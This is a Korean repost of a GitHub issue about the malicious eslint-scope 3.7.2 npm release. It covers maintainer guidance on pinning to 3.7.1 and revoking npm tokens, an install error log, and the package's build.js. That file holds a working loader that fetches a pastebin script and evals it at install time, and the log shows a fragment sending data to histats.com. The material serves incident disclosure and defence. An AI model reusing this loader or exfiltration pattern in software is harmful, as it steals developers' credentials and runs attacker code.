eslint 범위 3.7.2의 바이러스

이 문제를 발견하고 여기에서 공유한다고 생각했습니다.

eslint 범위의 바이러스? #39







pronebird
에 게시됨



업데이트된 블로그 게시물: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes


관리자의 업데이트


Incident status report from npm
무슨 일이 일어났는지에 대한 약간의 통찰력을 제공하는 @platinumazure의 댓글을 따르십시오.
https://github.com/eslint/eslint-scope/issues/39#issuecomment-404533026
또한 동일한 코드가 [email protected]에 게시된 것으로 보이며 이 역시 게시되지 않았습니다. 자세한 내용은 https://github.com/eslint/eslint/issues/10600을 참조하십시오.

그동안


  • eslint-scope의 버전을 3.7.1에 고정합니다. 한 가지 방법은 resolutionspackage.json에 추가하는 것입니다.
  •   "resolutions": {
        "eslint-scope": "3.7.1"
      }
    
    yarn list eslint-scope 로 종속성 버전을 확인합니다. 출력해야 합니다[email protected].
  • package-lock.json 또는 yarn.lock를 사용하고 가능한 경우 저장소에 보관하십시오. yarn outdated에 사용 가능한 새 버전이 있다고 표시되더라도 3.7.2로 업그레이드하지 마십시오.

  • 아래 설명에 제안된 대로 NPM 토큰을 취소하십시오https://github.com/eslint/eslint-scope/issues/39#issuecomment-404496856. https://www.npmjs.com/에 로그인하고 계정 드롭다운에서 "토큰"메뉴를 선택한 다음 페이지에 나열된 모든 토큰을 제거하여 동일한 작업을 수행할 수 있습니다. NPM을 외부 서비스에 연결하는 경우 관련 토큰을 다시 생성해야 합니다.

  • 문제


    도대체 이게 뭔지는 모르겠지만 바이러스처럼 보입니다.
    [2/3] ⠠ eslint-scope
    error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
    Exit code: 1
    Command: node ./lib/build.js
    Arguments: 
    Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
    Output:
    undefined:30
          https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                            ^^^^^^
    
    SyntaxError: Unexpected end of input
        at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
        at emitOne (events.js:116:13)
        at IncomingMessage.emit (events.js:211:7)
        at IncomingMessage.Readable.read (_stream_readable.js:475:10)
        at flow (_stream_readable.js:846:34)
        at resume_ (_stream_readable.js:828:3)
        at _combinedTickCallback (internal/process/next_tick.js:138:11)
    
    의심스러운 파일의 내용:
    try{
        var https=require('https');
        https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
        r.setEncoding('utf8');
        r.on('data',(c)=>{
        eval(c);
        });
        r.on('error',()=>{});
        
        }).on('error',()=>{});
        }catch(e){}

    로드하려는 URL은 http://pastebin.com/raw/XLeVP82h입니다.
    또한 내.npmrc를 어딘가로 보내려고 시도합니다.
    이것은 한 시간 전에 게시된 버전 3.7.2입니다.


    View on GitHub


    패키지 관리자는 특히 바이러스가 babel-eslint의 종속성에 걸려 있을 때 바이러스를 퍼뜨리는 놀라운 매개체입니다 😱

    좋은 웹페이지 즐겨찾기